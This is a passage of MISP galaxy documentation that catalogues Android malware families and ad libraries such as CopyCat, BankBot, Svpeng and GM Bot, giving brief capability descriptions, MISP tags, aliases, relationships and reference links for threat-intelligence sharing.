Introduction

The MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators, financial fraud or counter-terrorism information. The MISP project includes multiple sub-projects to support the operational requirements of analysts and improve the overall quality of information shared.

MISP galaxy is a simple method to express a large object called cluster that can be attached to MISP events or attributes. A cluster can be composed of one or more elements. Elements are expressed as key-values. There are default vocabularies available in MISP galaxy but those can be overwritten, replaced or updated as you wish. Existing clusters and vocabularies can be used as-is or as a template. MISP distribution can be applied to each cluster to permit a limited or broader distribution scheme. The following document is generated from the machine-readable JSON describing the MISP galaxy.

Funding and Support

The MISP project is financially and resource supported by CIRCL Computer Incident Response Center Luxembourg .

A CEF (Connecting Europe Facility) funding under CEF-TC-2016-3 - Cyber Security has been granted from 1st September 2017 until 31th August 2019 as Improving MISP as building blocks for next-generation information sharing.

CEF funding

If you are interested to co-fund projects around MISP, feel free to get in touch with us.

MISP galaxy

Android

Android malware galaxy based on multiple open sources..

Android is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

authors: Unknown

CopyCat

CopyCat is a fully developed malware with vast capabilities, including rooting devices, establishing persistency, and injecting code into Zygote – a daemon responsible for launching apps in the Android operating system – that allows the malware to control any activity on the device.

The tag is: misp-galaxy:android="CopyCat"

Table 1. Table References
Links
https://blog.checkpoint.com/2017/07/06/how-the-copycat-malware-infected-android-devices-around-the-world/

Andr/Dropr-FH

Andr/Dropr-FH can silently record audio and video, monitor texts and calls, modify files, and ultimately spawn ransomware.

The tag is: misp-galaxy:android="Andr/Dropr-FH"

Andr/Dropr-FH is also known as:

GhostCtrl

Andr/Dropr-FH has relationships with:

similar: misp-galaxy:malpedia="GhostCtrl" with estimative-language:likelihood-probability="likely"

Table 2. Table References
Links
https://nakedsecurity.sophos.com/2017/07/21/watch-out-for-the-android-malware-that-snoops-on-your-phone/
https://www.neowin.net/news/the-ghostctrl-android-malware-can-silently-record-your-audio-and-steal-sensitive-data

Judy

The malware, dubbed Judy, is an auto-clicking adware which was found on 41 apps developed by a Korean company. The malware uses infected devices to generate large amounts of fraudulent clicks on advertisements, generating revenues for the perpetrators behind it.

The tag is: misp-galaxy:android="Judy"

Table 3. Table References
Links
http://fortune.com/2017/05/28/android-malware-judy/
https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/

RedAlert2

The trojan waits in hiding until the user opens a banking or social media app. When this happens, the trojan shows an HTML-based overlay on top of the original app, alerting the user of an error, and asking to reauthenticate. Red Alert then collects the user’s credentials and sends them to its C&C server.

The tag is: misp-galaxy:android="RedAlert2"

RedAlert2 has relationships with:

similar: misp-galaxy:malpedia="RedAlert2" with estimative-language:likelihood-probability="likely"

Table 4. Table References
Links
https://www.bleepingcomputer.com/news/security/researchers-discover-new-android-banking-trojan/
https://www.threatfabric.com/blogs/new_android_trojan_targeting_over_60_banks_and_social_apps.html

Tizi

Tizi is a fully featured backdoor that installs spyware to steal sensitive data from popular social media applications. The Google Play Protect security team discovered this family in September 2017 when device scans found an app with rooting capabilities that exploited old vulnerabilities. The team used this app to find more applications in the Tizi family, the oldest of which is from October 2015. The Tizi app developer also created a website and used social media to encourage more app installs from Google Play and third-party websites.

The tag is: misp-galaxy:android="Tizi"

Table 5. Table References
Links
https://security.googleblog.com/2017/11/tizi-detecting-and-blocking-socially.html

DoubleLocker

DoubleLocker can change the device’s PIN, preventing victims from accessing their devices, and also encrypts the data requesting a ransom. It will misuse accessibility services after being installed by impersonating the Adobe Flash player - similar to BankBot.

The tag is: misp-galaxy:android="DoubleLocker"

DoubleLocker has relationships with:

similar: misp-galaxy:malpedia="DoubleLocker" with estimative-language:likelihood-probability="likely"

Table 6. Table References
Links
https://www.welivesecurity.com/2017/10/13/doublelocker-innovative-android-malware/

Svpeng

Svpeng is a Banking trojan which acts as a keylogger. If the Android device is not Russian, Svpeng will ask for permission to use accessibility services. In abusing this service it will gain administrator rights allowing it to draw over other apps, send and receive SMS and take screenshots when keys are pressed.

The tag is: misp-galaxy:android="Svpeng"

Svpeng is also known as:

Invisble Man

Svpeng has relationships with:

similar: misp-galaxy:tool="Svpeng" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Svpeng" with estimative-language:likelihood-probability="likely"

Table 7. Table References
Links
https://securelist.com/a-new-era-in-mobile-banking-trojans/79198/
https://www.theregister.co.uk/2017/08/02/banking_android_malware_in_uk/

LokiBot

LokiBot is a banking trojan for Android 4.0 and higher. It can steal the information and send SMS messages. It has the ability to start web browsers, and banking applications, along with showing notifications impersonating other apps. Upon attempt to remove it will encrypt the devices' external storage requiring Bitcoins to decrypt files.

The tag is: misp-galaxy:android="LokiBot"

LokiBot has relationships with:

similar: misp-galaxy:malpedia="Loki Password Stealer (PWS)" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="LokiBot" with estimative-language:likelihood-probability="likely"

Table 8. Table References
Links
https://clientsidedetection.com/lokibot_the_first_hybrid_android_malware.html[https://clientsidedetection.com/lokibot_the_first_hybrid_android_malware.html]

BankBot

The main goal of this malware is to steal banking credentials from the victim’s device. It usually impersonates flash player updaters, android system tools, or other legitimate applications.

The tag is: misp-galaxy:android="BankBot"

BankBot has relationships with:

similar: misp-galaxy:malpedia="Anubis" with estimative-language:likelihood-probability="likely"

Table 9. Table References
Links
https://blog.fortinet.com/2017/09/19/a-look-into-the-new-strain-of-bankbot
https://forensics.spreitzenbarth.de/android-malware/
https://blog.avast.com/mobile-banking-trojan-sneaks-into-google-play-targeting-wells-fargo-chase-and-citibank-customers

Viking Horde

In rooted devices, Viking Horde installs software and executes code remotely to get access to the mobile data.

The tag is: misp-galaxy:android="Viking Horde"

Table 10. Table References
Links
http://www.alwayson-network.com/worst-types-android-malware-2016/

HummingBad

A Chinese advertising company has developed this malware. The malware has the power to take control of devices; it forces users to click advertisements and download apps. The malware uses a multistage attack chain.

The tag is: misp-galaxy:android="HummingBad"

HummingBad has relationships with:

similar: misp-galaxy:mitre-malware="HummingBad - S0322" with estimative-language:likelihood-probability="likely"

Table 11. Table References
Links
http://www.alwayson-network.com/worst-types-android-malware-2016/
http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf

Ackposts

Ackposts is a Trojan horse for Android devices that steals the Contacts information from the compromised device and sends it to a predetermined location.

The tag is: misp-galaxy:android="Ackposts"

Table 12. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-072302-3943-99

Wirex

Wirex is a Trojan horse for Android devices that opens a backdoor on the compromised device which then joins a botnet for conducting click fraud.

The tag is: misp-galaxy:android="Wirex"

Table 13. Table References
Links
https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/
http://www.zdnet.com/article/wirex-ddos-malware-given-udp-flood-capabilities/

WannaLocker

WannaLocker is a strain of ransomware for Android devices that encrypts files on the device’s external storage and demands a payment to decrypt them.

The tag is: misp-galaxy:android="WannaLocker"

Table 14. Table References
Links
https://fossbytes.com/wannalocker-ransomware-wannacry-android/

Switcher

Switcher is a Trojan horse for Android devices that modifies Wi-Fi router DNS settings. Swticher attempts to infiltrate a router’s admin interface on the devices' WIFI network by using brute force techniques. If the attack succeeds, Switcher alters the DNS settings of the router, making it possible to reroute DNS queries to a network controlled by the malicious actors.

The tag is: misp-galaxy:android="Switcher"

Switcher has relationships with:

similar: misp-galaxy:malpedia="Switcher" with estimative-language:likelihood-probability="likely"

Table 15. Table References
Links
http://www.zdnet.com/article/this-android-infecting-trojan-malware-uses-your-phone-to-attack-your-router/
https://www.theregister.co.uk/2017/01/03/android_trojan_targets_routers/
https://www.symantec.com/security_response/writeup.jsp?docid=2017-090410-0547-99

Vibleaker

Vibleaker was an app available on the Google Play Store named Beaver Gang Counter that contained malicious code that after specific orders from its maker would scan the user’s phone for the Viber app, and then steal photos and videos recorded or sent through the app.

The tag is: misp-galaxy:android="Vibleaker"

Table 16. Table References
Links
http://news.softpedia.com/news/malicious-android-app-steals-viber-photos-and-BankBot-505758.shtml

ExpensiveWall

ExpensiveWall is Android malware that sends fraudulent premium SMS messages and charges users accounts for fake services without their knowledge

The tag is: misp-galaxy:android="ExpensiveWall"

Table 17. Table References
Links
https://blog.checkpoint.com/2017/09/14/expensivewall-dangerous-packed-malware-google-play-will-hit-wallet/
http://fortune.com/2017/09/14/google-play-android-malware/

Cepsohord

Cepsohord is a Trojan horse for Android devices that uses compromised devices to commit click fraud, modify DNS settings, randomly delete essential files, and download additional malware such as ransomware.

The tag is: misp-galaxy:android="Cepsohord"

Table 18. Table References
Links
https://www.cyber.nj.gov/threat-profiles/android-malware-variants/cepsohord

Fakem Rat

Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).

The tag is: misp-galaxy:android="Fakem Rat"

Table 19. Table References
Links
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2016-012608-1538-99

GM Bot

GM Bot – also known as Acecard, SlemBunk, or Bankosy – scams people into giving up their banking log-in credentials and other personal data by displaying overlays that look nearly identical to banking apps log-in pages. Subsequently, the malware intercepts SMS to obtain two-factor authentication PINs, giving cybercriminals full access to bank accounts.

The tag is: misp-galaxy:android="GM Bot"

GM Bot is also known as:

Acecard
SlemBunk
Bankosy

GM Bot has relationships with:

similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 20. Table References
Links
https://blog.avast.com/android-trojan-gm-bot-is-evolving-and-targeting-more-than-50-banks-worldwide

Moplus

The Wormhole vulnerability in the Moplus SDK could be exploited by hackers to open an unsecured and unauthenticated HTTP server connection on the user’s device, and this connection is established in the background without the user’s knowledge.

The tag is: misp-galaxy:android="Moplus"

Table 21. Table References
Links
http://securityaffairs.co/wordpress/41681/hacking/100m-android-device-baidu-moplus-sdk.html

Adwind

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. According to the author, the backdoor component can run on Windows, Mac OS, Linux and Android platforms providing rich capabilities for remote control, data gathering, data exfiltration and lateral movement.

The tag is: misp-galaxy:android="Adwind"

Adwind is also known as:

AlienSpy
Frutas
Unrecom
Sockrat
Jsocket
jRat
Backdoor:Java/Adwind

Adwind has relationships with:

similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 22. Table References
Links
https://securelist.com/adwind-faq/73660/

AdSms

Adsms is a Trojan horse that may send SMS messages from Android devices.

The tag is: misp-galaxy:android="AdSms"

Table 23. Table References
Links
https://www.fortiguard.com/encyclopedia/virus/7389670
https://www.symantec.com/security_response/writeup.jsp?docid=2011-051313-4039-99

Airpush

Airpush is a very aggresive Ad - Network

The tag is: misp-galaxy:android="Airpush"

Airpush is also known as:

StopSMS

Table 24. Table References
Links
https://crypto.stanford.edu/cs155old/cs155-spring16/lectures/18-mobile-malware.pdf

BeanBot

BeanBot forwards device’s data to a remote server and sends out premium-rate SMS messages from the infected device.

The tag is: misp-galaxy:android="BeanBot"

Table 25. Table References
Links
https://www.f-secure.com/v-descs/trojan_android_beanbot.shtml

Kemoge

Kemoge is adware that disguises itself as popular apps via repackaging, then allows for a complete takeover of the users Android device.

The tag is: misp-galaxy:android="Kemoge"

Kemoge has relationships with:

similar: misp-galaxy:mitre-malware="ShiftyBug - S0294" with estimative-language:likelihood-probability="likely"

Table 26. Table References
Links
https://www.fireeye.com/blog/threat-research/2015/10/kemoge_another_mobi.html
https://www.symantec.com/security_response/writeup.jsp?docid=2015-101207-3555-99

Ghost Push

Ghost Push is a family of malware that infects the Android OS by automatically gaining root access, downloading malicious software, masquerading as a system app, and then losing root access, which then makes it virtually impossible to remove the infection even by factory reset unless the firmware is reflashed.

The tag is: misp-galaxy:android="Ghost Push"

Table 27. Table References
Links
https://en.wikipedia.org/wiki/Ghost_Push
https://blog.avast.com/how-to-protect-your-android-device-from-ghost-push

BeNews

The BeNews app is a backdoor app that uses the name of defunct news site BeNews to appear legitimate. After installation it bypasses restrictions and downloads additional threats to the compromised device.

The tag is: misp-galaxy:android="BeNews"

Table 28. Table References
Links
http://blog.trendmicro.com/trendlabs-security-intelligence/fake-news-app-in-hacking-team-dump-designed-to-bypass-google-play/

Accstealer

Accstealer is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Accstealer"

Table 29. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-012711-1159-99

Acnetdoor

Acnetdoor is a detection for Trojan horses on the Android platform that open a back door on the compromised device.

The tag is: misp-galaxy:android="Acnetdoor"

Table 30. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051611-4258-99

Acnetsteal

Acnetsteal is a detection for Trojan horses on the Android platform that steal information from the compromised device.

The tag is: misp-galaxy:android="Acnetsteal"

Table 31. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051612-0505-99

Actech

Actech is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: misp-galaxy:android="Actech"

Table 32. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080111-3948-99

AdChina

AdChina is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="AdChina"

Table 33. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-2947-99

Adfonic

Adfonic is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Adfonic"

Table 34. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052615-0024-99

AdInfo

AdInfo is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="AdInfo"

Table 35. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040416-2433-99

Adknowledge

Adknowledge is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Adknowledge"

Table 36. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-1033-99

AdMarvel

AdMarvel is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="AdMarvel"

Table 37. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-2450-99

AdMob

AdMob is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="AdMob"

Table 38. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052822-3437-99

Adrd

Adrd is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Adrd"

Table 39. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-021514-4954-99

Aduru

Aduru is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Aduru"

Table 40. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-2419-99

Adwhirl

Adwhirl is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Adwhirl"

Table 41. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1414-99

Adwlauncher

Adwlauncher is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Adwlauncher"

Table 42. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-082308-1823-99

Adwo

Adwo is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Adwo"

Table 43. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032814-5806-99

Airad

Airad is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Airad"

Table 44. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-1704-99

Alienspy

Alienspy is a Trojan horse for Android devices that steals information from the compromised device. It may also download potentially malicious files.

The tag is: misp-galaxy:android="Alienspy"

Table 45. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-042714-5942-99

AmazonAds

AmazonAds is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="AmazonAds"

Table 46. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052618-5002-99

Answerbot

Answerbot is a Trojan horse that opens a back door on Android devices.

The tag is: misp-galaxy:android="Answerbot"

Table 47. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-100711-2129-99

Antammi

Antammi is a Trojan horse that steals information from Android devices.

The tag is: misp-galaxy:android="Antammi"

Table 48. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-032106-5211-99

Apkmore

Apkmore is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Apkmore"

Table 49. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040113-4813-99

Aplog

Aplog is a Trojan horse for Android devices that steals information from the device.

The tag is: misp-galaxy:android="Aplog"

Table 50. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-100911-1023-99

Appenda

Appenda is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Appenda"

Table 51. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-062812-0516-99

Apperhand

Apperhand is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Apperhand"

Table 52. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-032815-5637-99

Appleservice

Appleservice is a Trojan horse for Android devices that may steal information from the compromised device.

The tag is: misp-galaxy:android="Appleservice"

Table 53. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031011-4321-99

AppLovin

AppLovin is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="AppLovin"

Table 54. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040112-1739-99

Arspam

Arspam is a Trojan horse for Android devices that sends spam SMS messages to contacts on the compromised device.

The tag is: misp-galaxy:android="Arspam"

Table 55. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-121915-3251-99

Aurecord

Aurecord is a spyware application for Android devices that allows the device it is installed on to be monitored.

The tag is: misp-galaxy:android="Aurecord"

Table 56. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-031914-2310-99

Backapp

Backapp is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Backapp"

Table 57. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-092708-5017-99

Backdexer

Backdexer is a Trojan horse for Android devices that may send premium-rate SMS messages from the compromised device.

The tag is: misp-galaxy:android="Backdexer"

Table 58. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121812-2502-99

Backflash

Backflash is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Backflash"

Table 59. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-091714-0427-99

Backscript

Backscript is a Trojan horse for Android devices that downloads files onto the compromised device.

The tag is: misp-galaxy:android="Backscript"

Table 60. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-090704-3639-99

Badaccents

Badaccents is a Trojan horse for Android devices that may download apps on the compromised device.

The tag is: misp-galaxy:android="Badaccents"

Table 61. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-123015-3618-99

Badpush

Badpush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Badpush"

Table 62. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040311-4133-99

Ballonpop

Ballonpop is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Ballonpop"

Table 63. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-120911-1731-99

Bankosy

Bankosy is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Bankosy"

Bankosy has relationships with:

similar: misp-galaxy:tool="Slempo" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:android="GM Bot" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 64. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-072316-5249-99

Bankun

Bankun is a Trojan horse for Android devices that replaces certain banking applications on the compromised device.

The tag is: misp-galaxy:android="Bankun"

Table 65. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-072318-4143-99

Basebridge

Basebridge is a Trojan horse that attempts to send premium-rate SMS messages to predetermined numbers.

The tag is: misp-galaxy:android="Basebridge"

Table 66. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-060915-4938-99

Basedao

Basedao is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Basedao"

Table 67. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-061715-3303-99

Batterydoctor

Batterydoctor is Trojan that makes exaggerated claims about the device’s ability to recharge the battery, as well as steal information.

The tag is: misp-galaxy:android="Batterydoctor"

Table 68. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-101916-0847-99

Beaglespy

Beaglespy is an Android mobile detection for the Beagle spyware program as well as its associated client application.

The tag is: misp-galaxy:android="Beaglespy"

Table 69. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091010-0627-99

Becuro

Becuro is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.

The tag is: misp-galaxy:android="Becuro"

Table 70. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-051410-3348-99

Beita

Beita is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Beita"

Table 71. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-110111-1829-99

Bgserv

Bgserv is a Trojan that opens a back door and transmits information from the device to a remote location.

The tag is: misp-galaxy:android="Bgserv"

Table 72. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-031005-2918-99

Biigespy

Biigespy is an Android mobile detection for the Biige spyware program as well as its associated client application.

The tag is: misp-galaxy:android="Biigespy"

Table 73. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-091012-0526-99

Bmaster

Bmaster is a Trojan horse on the Android platform that opens a back door, downloads files and steals potentially confidential information from the compromised device.

The tag is: misp-galaxy:android="Bmaster"

Table 74. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-020609-3003-99

Bossefiv

Bossefiv is a Trojan horse for Android devices that steals information.

The tag is: misp-galaxy:android="Bossefiv"

Table 75. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-061520-4322-99

Boxpush

Boxpush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Boxpush"

Table 76. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-4613-99

Burstly

Burstly is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Burstly"

Table 77. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1443-99

Buzzcity

Buzzcity is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Buzzcity"

Table 78. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052918-1454-99

ByPush

ByPush is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="ByPush"

Table 79. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040315-4708-99

Cajino

Cajino is a Trojan horse for Android devices that opens a back door on the compromised device.

The tag is: misp-galaxy:android="Cajino"

Table 80. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-040210-3746-99

Casee

Casee is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Casee"

Table 81. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3501-99

Catchtoken

Catchtoken is a Trojan horse for Android devices that intercepts SMS messages and opens a back door on the compromised device.

The tag is: misp-galaxy:android="Catchtoken"

Table 82. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-121619-0548-99

Cauly

Cauly is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Cauly"

Table 83. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052919-3454-99

Cellshark

Cellshark is a spyware application for Android devices that periodically gathers information from the device and uploads it to a predetermined location.

The tag is: misp-galaxy:android="Cellshark"

Table 84. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111611-0914-99

Centero

Centero is a Trojan horse for Android devices that displays advertisements on the compromised device.

The tag is: misp-galaxy:android="Centero"

Table 85. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-053006-2502-99

Chuli

Chuli is a Trojan horse for Android devices that opens a back door and may steal information from the compromised device.

The tag is: misp-galaxy:android="Chuli"

Table 86. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-032617-1604-99

Citmo

Citmo is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Citmo"

Table 87. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030715-5012-99

Claco

Claco is a Trojan horse for Android devices that steals information from the compromised device.

The tag is: misp-galaxy:android="Claco"

Table 88. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-020415-5600-99

Clevernet

Clevernet is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Clevernet"

Table 89. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-5257-99

Cnappbox

Cnappbox is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Cnappbox"

Table 90. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040215-1141-99

Cobblerone

Cobblerone is a spyware application for Android devices that can track the phone’s location and remotely erase the device.

The tag is: misp-galaxy:android="Cobblerone"

Table 91. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-111514-3846-99

Coolpaperleak

Coolpaperleak is a Trojan horse for Android devices that steals information and sends it to a remote location.

The tag is: misp-galaxy:android="Coolpaperleak"

Table 92. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080211-5757-99

Coolreaper

Coolreaper is a Trojan horse for Android devices that opens a back door on the compromised device. It may also steal information and download potentially malicious files.

The tag is: misp-galaxy:android="Coolreaper"

Table 93. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-011220-3211-99

Cosha

Cosha is a spyware program for Android devices that monitors and sends certain information to a remote location.

The tag is: misp-galaxy:android="Cosha"

Table 94. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-081712-5231-99

Counterclank

Counterclank is a Trojan horse for Android devices that steals information.

The tag is: misp-galaxy:android="Counterclank"

Table 95. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2012-012709-4046-99

Crazymedia

Crazymedia is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Crazymedia"

Table 96. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040312-2547-99

Crisis

Crisis is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.

The tag is: misp-galaxy:android="Crisis"

Crisis has relationships with:

similar: misp-galaxy:malpedia="Crisis (Windows)" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="RCS" with estimative-language:likelihood-probability="likely"

Table 97. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-071409-0636-99

Crusewind

Crusewind is a Trojan horse for Android devices that sends SMS messages to a premium-rate number.

The tag is: misp-galaxy:android="Crusewind"

Table 98. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2011-070301-5702-99

Dandro

Dandro is a Trojan horse for Android devices that allows a remote attacker to gain control over the device and steal information from it.

The tag is: misp-galaxy:android="Dandro"

Table 99. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2013-012916-2128-99

Daoyoudao

Daoyoudao is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Daoyoudao"

Table 100. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040214-5018-99

Deathring

Deathring is a Trojan horse for Android devices that may perform malicious activities on the compromised device.

The tag is: misp-galaxy:android="Deathring"

Table 101. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-121116-4547-99

Deeveemap

Deeveemap is a Trojan horse for Android devices that downloads potentially malicious files onto the compromised device.

The tag is: misp-galaxy:android="Deeveemap"

Table 102. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2017-060907-5221-99

Dendoroid

Dendoroid is a Trojan horse for Android devices that opens a back door, steals information, and may perform other malicious activities on the compromised device.

The tag is: misp-galaxy:android="Dendoroid"

Table 103. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-030418-2633-99

Dengaru

Dengaru is a Trojan horse for Android devices that performs click-fraud from the compromised device.

The tag is: misp-galaxy:android="Dengaru"

Table 104. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2015-051113-4819-99

Diandong

Diandong is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Diandong"

Table 105. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-2453-99

Dianjin

Dianjin is an advertisement library that is bundled with certain Android applications.

The tag is: misp-galaxy:android="Dianjin"

Table 106. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-0313-99

Dogowar

